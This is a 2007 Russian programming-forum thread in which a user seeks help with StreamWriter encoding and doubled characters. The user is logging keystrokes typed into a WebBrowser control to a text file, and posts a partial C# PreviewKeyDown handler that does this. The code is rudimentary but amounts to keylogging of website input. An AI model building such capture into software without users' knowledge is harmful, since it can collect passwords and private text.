| Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
| Форум программистов > Общие вопросы по .NET и C# > Вопрос про StreamWriter. |
| Автор: NURMS 8.8.2007, 22:09 |
| Здрасте. Вопрос такой. Как у StreamWriter поменять кодировку на 1251. А какая стоит кодировка по default и для чего она предназначена?(т.е. смена кодировок) |
| Автор: VitalicH 8.8.2007, 22:16 | ||
вроде так
а вообще она нужна для отображения символов разных языковых форматов |
| Автор: NURMS 9.8.2007, 23:34 |
| А если уточнить.(Мой недочёт). У меня тут ещё FileInfo есть, чтобы добавлять в файл, а как в StreamWriter добавить кодировку, если там сидит этот AppendText. Короче мне нужно считать нажатые клавиши в фокусе webBrowser, и записать их в файл. Теперь когда я на сайте ввожу "Hello World", то в файл записывает "HHeelllloo WWoorrlldd". |
| Автор: Naum 10.8.2007, 08:57 |
| NURMS, кодировка тут, ИМХО, не при чем. Ты случайно не обрабатываешь одновременно и KeyDown и KeyUp? З.Ы. Да и вообще, код в студию. |
| Автор: NURMS 10.8.2007, 23:09 |
| webBrowser1.PreviewKeyDown += new PreviewKeyDownEventHandler(webBrowser1_PreviewKeyDown); void webBrowser1_PreviewKeyDown(object sender, PreviewKeyDownEventArgs e) { FileInfo Key = new FileInfo(@"opt\kp.txt"); using (StreamWriter kp = Key.AppendText()) { if (e.Shift) { if (e.KeyCode == Keys.A) { kp.Write("A"); } ... } else { if (e.KeyCode == Keys.A) { kp.Write("a"); } } ... } } Кто скажет, что тут обрабатывается и KeyDown и KeyUp, пусть первым напишет Гейтсу жалобу. Прошу на if - ы не жаловаться. Проблема не в них. Они выполняются как подобает. Кстати на этот shift найдётся алгоритм оптимальней? На мой взгляд слишком громоздко и примитивно. |